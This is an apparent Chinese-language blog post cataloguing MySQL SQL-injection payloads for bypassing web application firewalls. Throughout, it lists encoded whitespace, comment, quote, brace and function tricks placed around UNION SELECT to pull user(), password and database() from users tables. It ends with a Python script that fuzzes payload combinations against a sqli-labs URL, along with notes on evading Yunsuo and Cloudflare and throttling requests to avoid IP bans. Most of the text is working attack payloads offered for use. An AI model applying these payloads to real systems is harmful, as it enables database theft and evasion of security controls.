0x01 前言

最近在网上搜集学习到关于 mysql 注入的操作,故做一个小总结。

0x02 测试

我的WafBypass之道 (SQL注入篇)这篇文章结尾部分提到的,把每个 SQL 关键字两侧可插入的点称之为”位“,类似下图:

我要总结的这些操作,也是围着这五个位,下面开始。

位置一

(1)注释符

/**/ %23 --+ /*!50000union*/

id=2/**/union select 1,user,3 from admin

(2)空白符

%09,%0a,%0b,%0c,%0d,%20,%a0

id= 1 %0a union select 1,user,3 from admin

(3)科学计算法

e .

id= 2e0 union select 1,user,3 from admin

id= 1.union select 1,user,3 from admin

id= 1.1union select 1,user,3 from admin

还有%1%2E   %2%2E    %3%2E   

id= 1'  %1%2Eunion select user(),2 %23

(4)单引号双引号

id= 1'  'xx'union select user(),2 %23

id= 1'  ""union select user(),2 %23

需要闭合的先闭合,然后成对使用单双引号

(5)x@

假设SQL语句为:select * from article where id = '2'

%@ *@ -@ +@ /@ <@ =@ >@ ^@ |@ %26@ -@'' -@"" -@@new

id='  -@ union select 1,2 ,3 %23

id='  %26@ union select 1,2 ,3 %23

id='  -@'' union select 1,2 ,3 %23

id=' -@@new  union select 1,2 ,3 %23

(6){x key}

假设SQL语句为:select * from article where id = '2'

id=' and {x -2} union select 1,2,3 %23

id='  ||  !{`x` -2} union select 1,2,3 %23

id='  ||  !{`x` -@} union select 1,2,3 %23

id='  and {x  id} union select 1,2,3 %23

id='  and {x  id} union select 1,2,3 %23

id=' and {id (select/**/--0)}union select 1,2,3 %23

(7) 其他

\Nunion select 1,2,3 %23

null union select 1,2,3 %23

(8)函数

and  MD5('a') union select 1,password,database() from users--+

 and binary @ union select 1,password,3 from users--+

and  ST_X(Point(1, 2)) union select 1,password,database() from users--+

更多内置函数查看

位置二

(1) 空白符

%09,%0a,%0b,%0c,%0d,%20

id= 1  union%0aselect 1,user,3 from admin

(2)注释

/*!*/ /**/

id= 1  union /**/select 1,user,3 from admin

(3)括号

union(select  1,(password),3,4,5,6 from(users)) %23

(4) ALL | DISTINCT | DISTINCTROW

union ALL select  1,password,3 from users %23

(5)函数分隔

%09%0A
%0D%0b
%0b%0A
%09%0C
%09%23%0A
--%0A
%23%0A
--+\N%0A
%23%f0%0A
...
union%23%0Aselect  1,password,3 from users %23

union-- xx%0Aselect  1,password,3 from users %23
位置三

(1) 空白符

%09,%0a,%0b,%0c,%0d,%20

union select %09 1,password,3 from users %23

(2)注释

/*!*/ /**/

union select /**/ 1,password,3 from users %23

(3) ALL | DISTINCT | DISTINCTROW

union select ALL  1,password,3 from users %23

(4) {} ()

union select{x 1},password,3 from users %23

union select(1),password,3 from users %23

(5)符号

+ - @ ~ !

union select+1,password,3 from users %23

" ' 单双引号

union select""a1,password,3 from users %23
union select+1,password,3 from users %23

组合

+@ +'' -@ -'' ~@ ~'' ~"" !@ !"" @$ @. \N$
...
union select+@a1,password,3 from users %23

union select\N$a1,password,3 from users %23

(6)函数

union select  MD5('a') |1,2,database() from users--+

union select reverse('xx'),password,3 from users %23

union select ST_X(Point(1, 2))a,2,database() from users--+

更多内置函数查看

位置四

(1) 空白符

%09,%0a,%0b,%0c,%0d,%20,%23,%27

-1' union select 1,2,user()%23from users--+

(2)注释

/*!*/ /**/

-1' union select 1,2,user()/**/from users--+

(3) 反引号

1' union select 1,2,password ``from users`` --+

(4)花括号

1' union select 1,2,{x password}from users --+

1' union select 1,2,(password)from users --+

(5) 符号

\N

1' union select 1,password,\Nfrom users --+

单双引号

1' union select 1,user(),""from users --+

e .

1' union select 1,password,3e1from users --+

1' union select 1,password,3.1from users --+

组合

\N%0C  \N%23  \N%27  %7E\N  %21\N  %27\N   %2D\N  %7E\N %2D%2D%0A
%27--  --%40   --%27 --""
...
1' union select 1,user(),\NXXXX%23from users --+

1' union select 1,user(),%27XXXX--from users --+
位置五

(1) 空白符

%09,%0a,%0b,%0c,%0d,%20,%2E

1' union select 1,2,user() from%0dusers--+

(2)注释

/*!*/ /**/

-1' union select 1,2,user() from /**/users--+

(3)花括号

1' union select 1,user(),3 from(users) --+  

1' union select 1,user(),3 from{x users} --+

0x03 FUZZ

很多时候,单一姿势是无法奏效绕过的,有些姿势也是需要大量 FUZZ 得到,使用大量字符编码对 SQL 语句的“位”进行 FUZZ,编写了一个简单Python脚本演示。

Python脚本

import requests
import itertools


List = ['%20','%09','%0a','%0b','%0c','%0d','%2d%2d','%23','%a0','%2D%2D%2B','%5C%4E','\\N']

count = 0
num = 2 #fuzz num 个字符组合
target = 'http://localhost/sqli-labs-master/Less-1/?id=-1\' '

for i in itertools.product(List,repeat=num):

    count += 1
    print(count,':',len(List)**num)

    str = ''.join((i))
    payload = '{}union select 1,user(),3 from users %23'.format(str)
    url = target + payload
    req = requests.get(url=url)

    if "root@localhost" in req.text:
        print(url)
        with open("result.txt",'a',encoding='utf-8') as r:
            r.write(str + "\n")
云锁

fuzz 位置一利用空白字符、注释、浮点数等生成2个字符组成的有效 payload

Burp跑下,得到状态为 200 就是绕过的字符串,这里建议请求访问频率设置慢点,太快会被ban ip。

绕过

cloudflare

0x04 参考

https://mp.weixin.qq.com/s/qG_m7YXvEw2PwFXQDj6_qw

https://www.ms509.com/2020/06/24/Waf-Bypass-Sql/

https://xz.aliyun.com/t/368

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